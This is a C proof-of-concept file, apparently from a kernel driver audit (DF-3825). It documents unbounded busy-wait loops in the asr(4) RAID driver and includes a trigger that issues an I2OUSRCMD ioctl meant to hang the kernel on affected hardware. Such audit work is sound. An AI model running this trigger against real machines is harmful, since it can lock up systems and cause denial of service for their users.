DF-3825 / asr_ioctl_poll.c
/* * DF-3825 -- asr(4) unbounded polled waits reachable through I2OUSRCMD * * sys/dev/raid/asr/asr.c: * ASR_reset() (asr.c:1254): while (ASR_resetIOP(sc) == 0); -- spin * forever inside crit_enter() when the IOP never * re-arms; reached from asr_timeout() (callout) and * I2ORESETCMD ioctl. * ASR_initOutBound()(asr.c:1892): while (*Reply_Ptr < * I2O_EXEC_OUTBOUND_INIT_REJECTED); -- zero-timeout * busy loop on adapter DMA'd word; reached directly * from the I2OUSRCMD ioctl (function * I2O_EXEC_OUTBOUND_INIT, asr.c:3211-3219). * ASR_queue_s() (asr.c:727): while (status == CAM_REQ_INPROG) * (void)asr_intr(sc); -- no timeout poll loop. * * A transiently locked-up adapter (the V1.05 changelog documents exactly * this failure mode) wedges the calling thread forever; from asr_timeout * the spin happens inside a critical section. * * This trigger attempts the I2OUSRCMD route on /dev/asr0. On the audit * guest (no DPT/Adaptec ZCR I2O HBA) open() fails ENXIO/ENOENT. */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> #define ASR_I2OUSRCMD _IO('D', 76) /* osd_unix.h: 0x2000444c */ int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/asr0"; struct { u_int32_t frame[16]; u_int32_t reply[16]; } msg; void *pkt = &msg; int fd; printf("DF-3825 trigger: device=%s\n", dev); fd = open(dev, O_RDWR); if (fd < 0) { printf("open(%s) failed: %s\n", dev, strerror(errno)); printf("=> asr(4) control device absent (no I2O HBA attached);\n" " ioctl surface unreachable on this machine.\n"); return (2); } printf("open ok; issuing I2OUSRCMD with function " "I2O_EXEC_OUTBOUND_INIT\n"); /* I2O message frame: VersionOffset=0x01, MsgFlags=0, size=3 dwords, * function I2O_EXEC_OUTBOUND_INIT = 0xa1 at byte 5. */ memset(&msg, 0, sizeof(msg)); msg.frame[0] = 0x00030001; /* MessageSize=3 | VersionOffset=1 */ msg.frame[1] = 0; /* bitfields: target/init/function */ msg.frame[1] |= (0xa1 << 16); /* function I2O_EXEC_OUTBOUND_INIT */ if (ioctl(fd, ASR_I2OUSRCMD, &pkt) < 0) printf("I2OUSRCMD: %s\n", strerror(errno)); else printf("I2OUSRCMD accepted (on flaky hardware this busies the\n" "kernel in ASR_initOutBound's zero-timeout reply poll)\n"); close(fd); return (0); } |